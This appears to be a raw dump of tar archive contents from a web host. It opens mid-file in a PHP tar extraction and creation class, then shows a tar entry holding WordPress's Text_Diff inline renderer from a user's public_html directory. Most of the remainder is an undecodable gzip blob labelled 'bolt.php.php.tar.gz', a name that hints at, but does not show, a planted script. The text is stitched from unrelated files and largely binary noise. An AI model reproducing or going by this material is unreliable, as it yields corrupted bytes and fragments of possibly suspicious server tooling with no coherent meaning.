			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
